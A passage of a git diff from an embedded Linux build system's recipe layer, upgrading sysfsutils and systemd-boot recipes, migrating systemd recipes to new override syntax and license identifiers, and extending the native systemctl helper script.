-+++ sysfsutils-2.1.0/lib/Makefile.am 2013-03-08 08:57:27.480556502 +0000
-@@ -1,7 +1,7 @@
- lib_LTLIBRARIES = libsysfs.la
- libsysfs_la_SOURCES = sysfs_utils.c sysfs_attr.c sysfs_class.c dlist.c \
- sysfs_device.c sysfs_driver.c sysfs_bus.c sysfs_module.c sysfs.h
--INCLUDES = -I../include
-+INCLUDES = -I$(srcdir)/../include
- libsysfs_la_LDFLAGS = -version-info 2:1:0
- EXTRA_CFLAGS = @EXTRA_CLFAGS@
- libsysfs_la_CFLAGS = -Wall -W -Wstrict-prototypes $(EXTRA_CLFAGS)
-Index: sysfsutils-2.1.0/test/Makefile.am
-===================================================================
---- sysfsutils-2.1.0.orig/test/Makefile.am 2013-03-08 08:57:27.224556508 +0000
-+++ sysfsutils-2.1.0/test/Makefile.am 2013-03-08 09:06:48.196543326 +0000
-@@ -2,14 +2,14 @@
- BUILT_SOURCES = test.h
- CLEANFILES = test.h
- test.h:
-- ./create-test
-+ $(srcdir)/create-test $(srcdir)/libsysfs.conf
- get_device_SOURCES = get_device.c
- get_driver_SOURCES = get_driver.c
- get_module_SOURCES = get_module.c
- testlibsysfs_SOURCES = test.c test_attr.c test_bus.c test_class.c \
- test_device.c test_driver.c test_module.c test_utils.c \
- testout.c test-defs.h libsysfs.conf create-test
--INCLUDES = -I../include
-+INCLUDES = -I$(srcdir)/../include
- LDADD = ../lib/libsysfs.la
- EXTRA_CFLAGS = @EXTRA_CLFAGS@
- AM_CFLAGS = -Wall -W -Wstrict-prototypes $(EXTRA_CLFAGS)
-Index: sysfsutils-2.1.0/test/create-test
-===================================================================
---- sysfsutils-2.1.0.orig/test/create-test 2005-11-28 10:22:10.000000000 +0000
-+++ sysfsutils-2.1.0/test/create-test 2013-03-08 09:07:03.372542838 +0000
-@@ -2,7 +2,7 @@
-
- rm -f test.h
-
--conf_file=./libsysfs.conf
-+conf_file=$1
-
- . $conf_file
-
diff --git a/meta/recipes-core/sysfsutils/sysfsutils-2.1.0/sysfsutils-2.0.0-class-dup.patch b/meta/recipes-core/sysfsutils/sysfsutils-2.1.0/sysfsutils-2.0.0-class-dup.patch
deleted file mode 100644
index 1a35b7897a..0000000000
--- a/meta/recipes-core/sysfsutils/sysfsutils-2.1.0/sysfsutils-2.0.0-class-dup.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-Upstream-Status: Backport [from fedora core 9]
-
-This patch is from the Fedora Core 9 sysfsutils-2.1.0-3.fc9 package.
-
-It fixes a problem in the upstream package where not all devices
-will be returned by the function.
-
-The package License indicates this is GPLv2 licensed.
-
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
-
-diff -puN lib/sysfs_class.c~sysfsutils_class_dup lib/sysfs_class.c
---- sysfsutils-2.1.0/lib/sysfs_class.c~sysfsutils_class_dup 2006-09-07 17:01:26.000000000 -0500
-+++ sysfsutils-2.1.0-bjking1/lib/sysfs_class.c 2006-09-07 17:01:26.000000000 -0500
-@@ -66,7 +66,7 @@ static int cdev_name_equal(void *a, void
- return 0;
-
- if (strncmp((char *)a, ((struct sysfs_class_device *)b)->name,
-- strlen((char *)a)) == 0)
-+ SYSFS_NAME_LEN) == 0)
- return 1;
-
- return 0;
diff --git a/meta/recipes-core/sysfsutils/sysfsutils_2.1.0.bb b/meta/recipes-core/sysfsutils/sysfsutils_2.1.0.bb
deleted file mode 100644
index 34bf431f40..0000000000
--- a/meta/recipes-core/sysfsutils/sysfsutils_2.1.0.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Tools for working with sysfs"
-DESCRIPTION = "Tools for working with the sysfs virtual filesystem. The tool 'systool' can query devices by bus, class and topology."
-HOMEPAGE = "http://linux-diag.sourceforge.net/Sysfsutils.html"
-
-LICENSE = "GPLv2 & LGPLv2.1"
-LICENSE_${PN} = "GPLv2"
-LICENSE_libsysfs = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=3d06403ea54c7574a9e581c6478cc393 \
- file://cmd/GPL;md5=d41d4e2e1e108554e0388ea4aecd8d27 \
- file://lib/LGPL;md5=b75d069791103ffe1c0d6435deeff72e"
-PR = "r5"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/linux-diag/sysfsutils-${PV}.tar.gz \
- file://sysfsutils-2.0.0-class-dup.patch \
- file://obsolete_automake_macros.patch \
- file://separatebuild.patch"
-
-SRC_URI[md5sum] = "14e7dcd0436d2f49aa403f67e1ef7ddc"
-SRC_URI[sha256sum] = "e865de2c1f559fff0d3fc936e660c0efaf7afe662064f2fb97ccad1ec28d208a"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/linux-diag/files/sysfsutils/"
-UPSTREAM_CHECK_REGEX = "/sysfsutils/(?P<pver>(\d+[\.\-_]*)+)/"
-
-S = "${WORKDIR}/sysfsutils-${PV}"
-
-inherit autotools
-
-PACKAGES =+ "libsysfs"
-FILES_libsysfs = "${libdir}/lib*${SOLIBS}"
-
-export libdir = "${base_libdir}"
diff --git a/meta/recipes-core/sysfsutils/sysfsutils_2.1.1.bb b/meta/recipes-core/sysfsutils/sysfsutils_2.1.1.bb
new file mode 100644
index 0000000000..86cc06a2cd
--- /dev/null
+++ b/meta/recipes-core/sysfsutils/sysfsutils_2.1.1.bb
@@ -0,0 +1,21 @@
+SUMMARY = "Tools for working with sysfs"
+DESCRIPTION = "Tools for working with the sysfs virtual filesystem. The tool 'systool' can query devices by bus, class and topology."
+HOMEPAGE = "http://linux-diag.sourceforge.net/Sysfsutils.html"
+
+LICENSE = "GPL-2.0-only & LGPL-2.1-only"
+LICENSE:${PN} = "GPL-2.0-only"
+LICENSE:libsysfs = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=dcc19fa9307a50017fca61423a7d9754 \
+ file://cmd/GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://lib/LGPL;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI = "git://github.com/linux-ras/sysfsutils.git;protocol=https;branch=master"
+
+SRCREV = "da2f1f8500c0af6663a56ce2bff07f67e60a92e0"
+
+S = "${WORKDIR}/git"
+
+inherit autotools
+
+PACKAGES =+ "libsysfs"
+FILES:libsysfs = "${libdir}/lib*${SOLIBS}"
diff --git a/meta/recipes-core/systemd/systemd-boot-native_255.4.bb b/meta/recipes-core/systemd/systemd-boot-native_255.4.bb
new file mode 100644
index 0000000000..73db59b14e
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd-boot-native_255.4.bb
@@ -0,0 +1,15 @@
+require systemd.inc
+
+inherit native
+
+deltask do_configure
+deltask do_compile
+
+do_install () {
+ install -Dm 0755 ${S}/src/ukify/ukify.py ${D}${bindir}/ukify
+}
+addtask install after do_unpack
+
+PACKAGES = "${PN}"
+
+FILES:${PN} = "${bindir}/ukify"
diff --git a/meta/recipes-core/systemd/systemd-boot_246.bb b/meta/recipes-core/systemd/systemd-boot_246.bb
deleted file mode 100644
index f92c639810..0000000000
--- a/meta/recipes-core/systemd/systemd-boot_246.bb
+++ /dev/null
@@ -1,70 +0,0 @@
-require systemd.inc
-FILESEXTRAPATHS =. "${FILE_DIRNAME}/systemd:"
-
-require conf/image-uefi.conf
-
-DEPENDS = "intltool-native libcap util-linux gnu-efi gperf-native"
-
-inherit meson pkgconfig gettext
-inherit deploy
-
-LDFLAGS_prepend = "${@ " ".join(d.getVar('LD').split()[1:])} "
-
-do_write_config[vardeps] += "CC OBJCOPY"
-do_write_config_append() {
- cat >${WORKDIR}/meson-${PN}.cross <<EOF
-[binaries]
-efi_cc = ${@meson_array('CC', d)}
-objcopy = ${@meson_array('OBJCOPY', d)}
-EOF
-}
-
-EXTRA_OEMESON += "-Defi=true \
- -Dgnu-efi=true \
- -Defi-includedir=${STAGING_INCDIR}/efi \
- -Defi-libdir=${STAGING_LIBDIR} \
- -Defi-ld=${@ d.getVar('LD').split()[0]} \
- -Dman=false \
- --cross-file ${WORKDIR}/meson-${PN}.cross \
- "
-
-# install to the image as boot*.efi if its the EFI_PROVIDER,
-# otherwise install as the full name.
-# This allows multiple bootloaders to coexist in a single image.
-python __anonymous () {
- import re
- target = d.getVar('TARGET_ARCH')
- prefix = "" if d.getVar('EFI_PROVIDER') == "systemd-boot" else "systemd-"
- systemdimage = prefix + d.getVar("EFI_BOOT_IMAGE")
- d.setVar("SYSTEMD_BOOT_IMAGE", systemdimage)
- prefix = "systemd-" if prefix == "" else ""
- d.setVar("SYSTEMD_BOOT_IMAGE_PREFIX", prefix)
-}
-
-FILES_${PN} = "${EFI_FILES_PATH}/${SYSTEMD_BOOT_IMAGE}"
-
-RDEPENDS_${PN} += "virtual/systemd-bootconf"
-
-# Imported from the old gummiboot recipe
-TUNE_CCARGS_remove = "-mfpmath=sse"
-COMPATIBLE_HOST = "(x86_64.*|i.86.*)-linux"
-COMPATIBLE_HOST_x86-x32 = "null"
-
-do_compile() {
- SYSTEMD_BOOT_EFI_ARCH="ia32"
- if [ "${TARGET_ARCH}" = "x86_64" ]; then
- SYSTEMD_BOOT_EFI_ARCH="x64"
- fi
-
- ninja src/boot/efi/${SYSTEMD_BOOT_IMAGE_PREFIX}${SYSTEMD_BOOT_IMAGE}
-}
-
-do_install() {
- install -d ${D}${EFI_FILES_PATH}
- install ${B}/src/boot/efi/systemd-boot*.efi ${D}${EFI_FILES_PATH}/${SYSTEMD_BOOT_IMAGE}
-}
-
-do_deploy () {
- install ${B}/src/boot/efi/systemd-boot*.efi ${DEPLOYDIR}
-}
-addtask deploy before do_build after do_compile
diff --git a/meta/recipes-core/systemd/systemd-boot_255.4.bb b/meta/recipes-core/systemd/systemd-boot_255.4.bb
new file mode 100644
index 0000000000..4ee25ee72f
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd-boot_255.4.bb
@@ -0,0 +1,67 @@
+require systemd.inc
+FILESEXTRAPATHS =. "${FILE_DIRNAME}/systemd:"
+
+require conf/image-uefi.conf
+
+DEPENDS = "intltool-native libcap util-linux gperf-native python3-jinja2-native python3-pyelftools-native"
+
+inherit meson pkgconfig gettext
+inherit deploy
+
+LDFLAGS:prepend = "${@ " ".join(d.getVar('LD').split()[1:])} "
+
+EFI_LD = "bfd"
+LDFLAGS:append = " -fuse-ld=${EFI_LD}"
+
+do_write_config[vardeps] += "EFI_LD"
+do_write_config:append() {
+ cat >${WORKDIR}/meson-${PN}.cross <<EOF
+[binaries]
+c_ld = ${@meson_array('EFI_LD', d)}
+EOF
+}
+
+MESON_CROSS_FILE:append = " --cross-file ${WORKDIR}/meson-${PN}.cross"
+
+MESON_TARGET = "systemd-boot"
+
+EXTRA_OEMESON += "-Defi=true \
+ -Dbootloader=true \
+ -Dman=false \
+ "
+
+# install to the image as boot*.efi if its the EFI_PROVIDER,
+# otherwise install as the full name.
+# This allows multiple bootloaders to coexist in a single image.
+python __anonymous () {
+ import re
+ target = d.getVar('TARGET_ARCH')
+ prefix = "" if d.getVar('EFI_PROVIDER') == "systemd-boot" else "systemd-"
+ systemdimage = prefix + d.getVar("EFI_BOOT_IMAGE")
+ d.setVar("SYSTEMD_BOOT_IMAGE", systemdimage)
+ prefix = "systemd-" if prefix == "" else ""
+ d.setVar("SYSTEMD_BOOT_IMAGE_PREFIX", prefix)
+}
+
+FILES:${PN} = "${EFI_FILES_PATH}/${SYSTEMD_BOOT_IMAGE}"
+
+RDEPENDS:${PN} += "virtual-systemd-bootconf"
+
+CFLAGS:append:libc-musl = " -D__DEFINED_wchar_t"
+
+COMPATIBLE_HOST = "(aarch64.*|arm.*|x86_64.*|i.86.*)-linux"
+COMPATIBLE_HOST:x86-x32 = "null"
+
+do_install() {
+ install -d ${D}${EFI_FILES_PATH}
+ install ${B}/src/boot/efi/systemd-boot*.efi ${D}${EFI_FILES_PATH}/${SYSTEMD_BOOT_IMAGE}
+}
+
+do_deploy () {
+ install ${B}/src/boot/efi/systemd-boot*.efi ${DEPLOYDIR}
+ install ${B}/src/boot/efi/linux*.efi.stub ${DEPLOYDIR}
+ install ${B}/src/boot/efi/addon*.efi.stub ${DEPLOYDIR}
+}
+
+addtask deploy before do_build after do_compile
+
diff --git a/meta/recipes-core/systemd/systemd-bootconf_1.00.bb b/meta/recipes-core/systemd/systemd-bootconf_1.00.bb
index d13b8c518f..19637546a9 100644
--- a/meta/recipes-core/systemd/systemd-bootconf_1.00.bb
+++ b/meta/recipes-core/systemd/systemd-bootconf_1.00.bb
@@ -2,7 +2,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
SUMMARY = "Basic systemd-boot configuration files"
-RPROVIDES_${PN} += "virtual/systemd-bootconf"
+RPROVIDES:${PN} += "virtual-systemd-bootconf"
PACKAGE_ARCH = "${MACHINE_ARCH}"
inherit systemd-boot-cfg
@@ -12,7 +12,7 @@ S = "${WORKDIR}"
LABELS = "boot"
ROOT ?= "root=/dev/sda2"
-APPEND_append = " ${ROOT}"
+APPEND:append = " ${ROOT}"
python do_configure() {
bb.build.exec_func('build_efi_cfg', d)
@@ -29,4 +29,4 @@ do_install() {
install *.conf ${D}/boot/loader/entries/
}
-FILES_${PN} = "/boot/loader/* /boot/loader/entries/*"
+FILES:${PN} = "/boot/loader/* /boot/loader/entries/*"
diff --git a/meta/recipes-core/systemd/systemd-compat-units.bb b/meta/recipes-core/systemd/systemd-compat-units.bb
index 361dc1cbb4..c03d97f9c9 100644
--- a/meta/recipes-core/systemd/systemd-compat-units.bb
+++ b/meta/recipes-core/systemd/systemd-compat-units.bb
@@ -2,7 +2,6 @@ SUMMARY = "Enhances systemd compatilibity with existing SysVinit scripts"
HOMEPAGE = "http://www.freedesktop.org/wiki/Software/systemd"
LICENSE = "MIT"
-PR = "r29"
PACKAGE_WRITE_DEPS += "systemd-systemctl-native"
@@ -12,9 +11,10 @@ inherit features_check
INHIBIT_DEFAULT_DEPS = "1"
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
-REQUIRED_DISTRO_FEATURES = "systemd"
+REQUIRED_DISTRO_FEATURES += "systemd"
+REQUIRED_DISTRO_FEATURES += "usrmerge"
SYSTEMD_DISABLED_SYSV_SERVICES = " \
busybox-udhcpc \
@@ -25,9 +25,10 @@ SYSTEMD_DISABLED_SYSV_SERVICES = " \
syslog.busybox \
"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
- cd $D${sysconfdir}/init.d || exit 0
+ test -d $D${sysconfdir}/init.d || exit 0
+ cd $D${sysconfdir}/init.d
echo "Disabling the following sysv scripts: "
@@ -38,7 +39,7 @@ pkg_postinst_${PN} () {
fi
for i in ${SYSTEMD_DISABLED_SYSV_SERVICES} ; do
- if [ -e $i -o -e $i.sh ] && ! [ -e $D${sysconfdir}/systemd/system/$i.service -o -e $D${systemd_unitdir}/system/$i.service ] ; then
+ if [ -e $i -o -e $i.sh ] && ! [ -e $D${sysconfdir}/systemd/system/$i.service -o -e $D${systemd_system_unitdir}/$i.service ] ; then
echo -n "$i: "
systemctl $OPTS mask $i.service
fi
@@ -46,4 +47,4 @@ pkg_postinst_${PN} () {
echo
}
-RDEPENDS_${PN} = "systemd"
+RDEPENDS:${PN} = "systemd"
diff --git a/meta/recipes-core/systemd/systemd-conf/wired.network b/meta/recipes-core/systemd/systemd-conf/wired.network
index dcf3534596..7406287248 100644
--- a/meta/recipes-core/systemd/systemd-conf/wired.network
+++ b/meta/recipes-core/systemd/systemd-conf/wired.network
@@ -1,6 +1,8 @@
[Match]
-Name=en* eth*
+Type=ether
+Name=!veth*
KernelCommandLine=!nfsroot
+KernelCommandLine=!ip
[Network]
DHCP=yes
diff --git a/meta/recipes-core/systemd/systemd-conf_1.0.bb b/meta/recipes-core/systemd/systemd-conf_1.0.bb
new file mode 100644
index 0000000000..2355936631
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd-conf_1.0.bb
@@ -0,0 +1,46 @@
+SUMMARY = "Systemd system configuration"
+DESCRIPTION = "Systemd may require slightly different configuration for \
+different machines. For example, qemu machines require a longer \
+DefaultTimeoutStartSec setting."
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
+
+inherit features_check
+REQUIRED_DISTRO_FEATURES += "usrmerge"
+
+PE = "1"
+
+PACKAGECONFIG ??= "dhcp-ethernet"
+PACKAGECONFIG[dhcp-ethernet] = ""
+
+SRC_URI = "\
+ file://journald.conf \
+ file://logind.conf \
+ file://system.conf \
+ file://system.conf-qemuall \
+ file://wired.network \
+"
+
+do_install() {
+ install -D -m0644 ${WORKDIR}/journald.conf ${D}${systemd_unitdir}/journald.conf.d/00-${PN}.conf
+ install -D -m0644 ${WORKDIR}/logind.conf ${D}${systemd_unitdir}/logind.conf.d/00-${PN}.conf
+ install -D -m0644 ${WORKDIR}/system.conf ${D}${systemd_unitdir}/system.conf.d/00-${PN}.conf
+
+ if ${@bb.utils.contains('PACKAGECONFIG', 'dhcp-ethernet', 'true', 'false', d)}; then
+ install -D -m0644 ${WORKDIR}/wired.network ${D}${systemd_unitdir}/network/80-wired.network
+ fi
+}
+
+# Based on change from YP bug 8141, OE commit 5196d7bacaef1076c361adaa2867be31759c1b52
+do_install:append:qemuall() {
+ install -D -m0644 ${WORKDIR}/system.conf-qemuall ${D}${systemd_unitdir}/system.conf.d/01-${PN}.conf
+}
+
+PACKAGE_ARCH = "${MACHINE_ARCH}"
+
+FILES:${PN} = "\
+ ${systemd_unitdir}/journald.conf.d/ \
+ ${systemd_unitdir}/logind.conf.d/ \
+ ${systemd_unitdir}/system.conf.d/ \
+ ${systemd_unitdir}/network/ \
+"
diff --git a/meta/recipes-core/systemd/systemd-conf_246.bb b/meta/recipes-core/systemd/systemd-conf_246.bb
deleted file mode 100644
index d9ec023bfd..0000000000
--- a/meta/recipes-core/systemd/systemd-conf_246.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-SUMMARY = "Systemd system configuration"
-DESCRIPTION = "Systemd may require slightly different configuration for \
-different machines. For example, qemu machines require a longer \
-DefaultTimeoutStartSec setting."
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-
-SRC_URI = "\
- file://journald.conf \
- file://logind.conf \
- file://system.conf \
- file://system.conf-qemuall \
- file://wired.network \
-"
-
-do_install() {
- install -D -m0644 ${WORKDIR}/journald.conf ${D}${systemd_unitdir}/journald.conf.d/00-${PN}.conf
- install -D -m0644 ${WORKDIR}/logind.conf ${D}${systemd_unitdir}/logind.conf.d/00-${PN}.conf
- install -D -m0644 ${WORKDIR}/system.conf ${D}${systemd_unitdir}/system.conf.d/00-${PN}.conf
- install -D -m0644 ${WORKDIR}/wired.network ${D}${systemd_unitdir}/network/80-wired.network
-}
-
-# Based on change from YP bug 8141, OE commit 5196d7bacaef1076c361adaa2867be31759c1b52
-do_install_append_qemuall() {
- install -D -m0644 ${WORKDIR}/system.conf-qemuall ${D}${systemd_unitdir}/system.conf.d/01-${PN}.conf
-
- # Do not install wired.network for qemu bsps
- rm -rf ${D}${systemd_unitdir}/network
-}
-
-PACKAGE_ARCH = "${MACHINE_ARCH}"
-
-FILES_${PN} = "\
- ${systemd_unitdir}/journald.conf.d/ \
- ${systemd_unitdir}/logind.conf.d/ \
- ${systemd_unitdir}/system.conf.d/ \
- ${systemd_unitdir}/network/ \
-"
diff --git a/meta/recipes-core/systemd/systemd-machine-units_1.0.bb b/meta/recipes-core/systemd/systemd-machine-units_1.0.bb
index 02756f43d7..8df7ff7cf1 100644
--- a/meta/recipes-core/systemd/systemd-machine-units_1.0.bb
+++ b/meta/recipes-core/systemd/systemd-machine-units_1.0.bb
@@ -5,9 +5,9 @@ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda
PACKAGE_ARCH = "${MACHINE_ARCH}"
-PR = "r19"
-inherit systemd
-SYSTEMD_SERVICE_${PN} = ""
+inherit systemd features_check
+REQUIRED_DISTRO_FEATURES += "usrmerge"
+SYSTEMD_SERVICE:${PN} = ""
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
diff --git a/meta/recipes-core/systemd/systemd-serialgetty.bb b/meta/recipes-core/systemd/systemd-serialgetty.bb
index 044c6c5b67..44a93ac684 100644
--- a/meta/recipes-core/systemd/systemd-serialgetty.bb
+++ b/meta/recipes-core/systemd/systemd-serialgetty.bb
@@ -1,11 +1,11 @@
SUMMARY = "Serial terminal support for systemd"
HOMEPAGE = "https://www.freedesktop.org/wiki/Software/systemd/"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6"
-PR = "r5"
SERIAL_CONSOLES ?= "115200;ttyS0"
+SERIAL_TERM ?= "linux"
SRC_URI = "file://serial-getty@.service"
@@ -13,15 +13,17 @@ S = "${WORKDIR}"
# As this package is tied to systemd, only build it when we're also building systemd.
inherit features_check
-REQUIRED_DISTRO_FEATURES = "systemd"
+REQUIRED_DISTRO_FEATURES += "systemd"
+REQUIRED_DISTRO_FEATURES += "usrmerge"
do_install() {
if [ ! -z "${SERIAL_CONSOLES}" ] ; then
default_baudrate=`echo "${SERIAL_CONSOLES}" | sed 's/\;.*//'`
- install -d ${D}${systemd_unitdir}/system/
+ install -d ${D}${systemd_system_unitdir}/
install -d ${D}${sysconfdir}/systemd/system/getty.target.wants/
- install -m 0644 ${WORKDIR}/serial-getty@.service ${D}${systemd_unitdir}/system/
- sed -i -e s/\@BAUDRATE\@/$default_baudrate/g ${D}${systemd_unitdir}/system/serial-getty@.service
+ install -m 0644 ${WORKDIR}/serial-getty@.service ${D}${systemd_system_unitdir}/
+ sed -i -e "s/\@BAUDRATE\@/$default_baudrate/g" ${D}${systemd_system_unitdir}/serial-getty@.service
+ sed -i -e "s/\@TERM\@/${SERIAL_TERM}/g" ${D}${systemd_system_unitdir}/serial-getty@.service
tmp="${SERIAL_CONSOLES}"
for entry in $tmp ; do
@@ -29,14 +31,14 @@ do_install() {
ttydev=`echo $entry | sed -e 's/^[0-9]*\;//' -e 's/\;.*//'`
if [ "$baudrate" = "$default_baudrate" ] ; then
# enable the service
- ln -sf ${systemd_unitdir}/system/serial-getty@.service \
+ ln -sf ${systemd_system_unitdir}/serial-getty@.service \
${D}${sysconfdir}/systemd/system/getty.target.wants/serial-getty@$ttydev.service
else
# install custom service file for the non-default baudrate
- install -m 0644 ${WORKDIR}/serial-getty@.service ${D}${systemd_unitdir}/system/serial-getty$baudrate@.service
- sed -i -e s/\@BAUDRATE\@/$baudrate/g ${D}${systemd_unitdir}/system/serial-getty$baudrate@.service
+ install -m 0644 ${WORKDIR}/serial-getty@.service ${D}${systemd_system_unitdir}/serial-getty$baudrate@.service
+ sed -i -e "s/\@BAUDRATE\@/$baudrate/g" ${D}${systemd_system_unitdir}/serial-getty$baudrate@.service
# enable the service
- ln -sf ${systemd_unitdir}/system/serial-getty$baudrate@.service \
+ ln -sf ${systemd_system_unitdir}/serial-getty$baudrate@.service \
${D}${sysconfdir}/systemd/system/getty.target.wants/serial-getty$baudrate@$ttydev.service
fi
done
@@ -44,7 +46,7 @@ do_install() {
}
# This is a machine specific file
-FILES_${PN} = "${systemd_unitdir}/system/*.service ${sysconfdir}"
+FILES:${PN} = "${systemd_system_unitdir}/*.service ${sysconfdir}"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
diff --git a/meta/recipes-core/systemd/systemd-serialgetty/serial-getty@.service b/meta/recipes-core/systemd/systemd-serialgetty/serial-getty@.service
index 549d566009..b16fe1188e 100644
--- a/meta/recipes-core/systemd/systemd-serialgetty/serial-getty@.service
+++ b/meta/recipes-core/systemd/systemd-serialgetty/serial-getty@.service
@@ -29,7 +29,7 @@ Conflicts=rescue.service
Before=rescue.service
[Service]
-Environment="TERM=xterm"
+Environment="TERM=@TERM@"
ExecStart=-/sbin/agetty -8 -L %I @BAUDRATE@ $TERM
Type=idle
Restart=always
diff --git a/meta/recipes-core/systemd/systemd-systemctl-native.bb b/meta/recipes-core/systemd/systemd-systemctl-native.bb
index fadc8433d8..54283bcba1 100644
--- a/meta/recipes-core/systemd/systemd-systemctl-native.bb
+++ b/meta/recipes-core/systemd/systemd-systemctl-native.bb
@@ -3,7 +3,6 @@ SUMMARY = "Wrapper for enabling systemd services"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-PR = "r6"
inherit native
diff --git a/meta/recipes-core/systemd/systemd-systemctl/systemctl b/meta/recipes-core/systemd/systemd-systemctl/systemctl
index 990de1ab39..2229bc7b6d 100755
--- a/meta/recipes-core/systemd/systemd-systemctl/systemctl
+++ b/meta/recipes-core/systemd/systemd-systemctl/systemctl
@@ -11,6 +11,7 @@ import re
import sys
from collections import namedtuple
+from itertools import chain
from pathlib import Path
version = 1.0
@@ -25,12 +26,19 @@ locations = list()
class SystemdFile():
"""Class representing a single systemd configuration file"""
- def __init__(self, root, path):
+
+ _clearable_keys = ['WantedBy']
+
+ def __init__(self, root, path, instance_unit_name):
self.sections = dict()
self._parse(root, path)
dirname = os.path.basename(path.name) + ".d"
for location in locations:
- for path2 in sorted((root / location / "system" / dirname).glob("*.conf")):
+ files = (root / location / "system" / dirname).glob("*.conf")
+ if instance_unit_name:
+ inst_dirname = instance_unit_name + ".d"
+ files = chain(files, (root / location / "system" / inst_dirname).glob("*.conf"))
+ for path2 in sorted(files):
self._parse(root, path2)
def _parse(self, root, path):
@@ -75,6 +83,14 @@ class SystemdFile():
v = m.group('value')
if k not in section:
section[k] = list()
+
+ # If we come across a "key=" line for a "clearable key", then
+ # forget all preceding assignments. This works because we are
+ # processing files in correct parse order.
+ if k in self._clearable_keys and not v:
+ del section[k]
+ continue
+
section[k].extend(v.split())
def get(self, section, prop):
@@ -160,7 +176,9 @@ def add_link(path, target):
class SystemdUnitNotFoundError(Exception):
- pass
+ def __init__(self, path, unit):
+ self.path = path
+ self.unit = unit
class SystemdUnit():
@@ -177,24 +195,29 @@ class SystemdUnit():
raise SystemdUnitNotFoundError(self.root, unit)
- def _process_deps(self, config, service, location, prop, dirstem):
+ def _process_deps(self, config, service, location, prop, dirstem, instance):
systemdir = self.root / SYSCONFDIR / "systemd" / "system"
target = ROOT / location.relative_to(self.root)
try:
for dependent in config.get('Install', prop):
+ # expand any %i to instance (ignoring escape sequence %%)
+ dependent = re.sub("([^%](%%)*)%i", "\\g<1>{}".format(instance), dependent)
wants = systemdir / "{}.{}".format(dependent, dirstem) / service
add_link(wants, target)
except KeyError:
pass
- def enable(self):
+ def enable(self, units_enabled=[]):
# if we're enabling an instance, first extract the actual instance
# then figure out what the template unit is
template = re.match(r"[^@]+@(?P<instance>[^\.]*)\.", self.unit)
+ instance_unit_name = None
if template:
instance = template.group('instance')
+ if instance != "":
+ instance_unit_name = self.unit
unit = re.sub(r"@[^\.]*\.", "@.", self.unit, 1)
else:
instance = None
@@ -206,7 +229,7 @@ class SystemdUnit():
# ignore aliases
return
- config = SystemdFile(self.root, path)
+ config = SystemdFile(self.root, path, instance_unit_name)
if instance == "":
try:
default_instance = config.get('Install', 'DefaultInstance')[0]
@@ -219,12 +242,17 @@ class SystemdUnit():
else:
service = self.unit
- self._process_deps(config, service, path, 'WantedBy', 'wants')
- self._process_deps(config, service, path, 'RequiredBy', 'requires')
+ self._process_deps(config, service, path, 'WantedBy', 'wants', instance)
+ self._process_deps(config, service, path, 'RequiredBy', 'requires', instance)
try:
for also in config.get('Install', 'Also'):
- SystemdUnit(self.root, also).enable()
+ try:
+ units_enabled.append(unit)
+ if also not in units_enabled:
+ SystemdUnit(self.root, also).enable(units_enabled)
+ except SystemdUnitNotFoundError as e:
+ sys.exit("Error: Systemctl also enable issue with %s (%s)" % (service, e.unit))
except KeyError:
pass
@@ -265,7 +293,10 @@ def preset_all(root):
state = presets.state(service)
if state == "enable" or state is None:
- SystemdUnit(root, service).enable()
+ try:
+ SystemdUnit(root, service).enable()
+ except SystemdUnitNotFoundError:
+ sys.exit("Error: Systemctl preset_all issue in %s" % service)
# If we populate the systemd links we also create /etc/machine-id, which
# allows systemd to boot with the filesystem read-only before generating
@@ -282,7 +313,7 @@ def main():
sys.exit("Python 3.4 or greater is required")
parser = argparse.ArgumentParser()
- parser.add_argument('command', nargs=1, choices=['enable', 'mask',
+ parser.add_argument('command', nargs='?', choices=['enable', 'mask',
'preset-all'])
parser.add_argument('service', nargs=argparse.REMAINDER)
parser.add_argument('--root')
@@ -300,13 +331,23 @@ def main():
locations.append(BASE_LIBDIR / "systemd")
locations.append(LIBDIR / "systemd")
- command = args.command[0]
+ command = args.command
+ if not command:
+ parser.print_help()
+ return 0
+
if command == "mask":
for service in args.service:
- SystemdUnit(root, service).mask()
+ try:
+ SystemdUnit(root, service).mask()
+ except SystemdUnitNotFoundError as e:
+ sys.exit("Error: Systemctl main mask issue in %s (%s)" % (service, e.unit))
elif command == "enable":
for service in args.service:
- SystemdUnit(root, service).enable()
+ try:
+ SystemdUnit(root, service).enable()
+ except SystemdUnitNotFoundError as e:
+ sys.exit("Error: Systemctl main enable issue in %s (%s)" % (service, e.unit))
elif command == "preset-all":
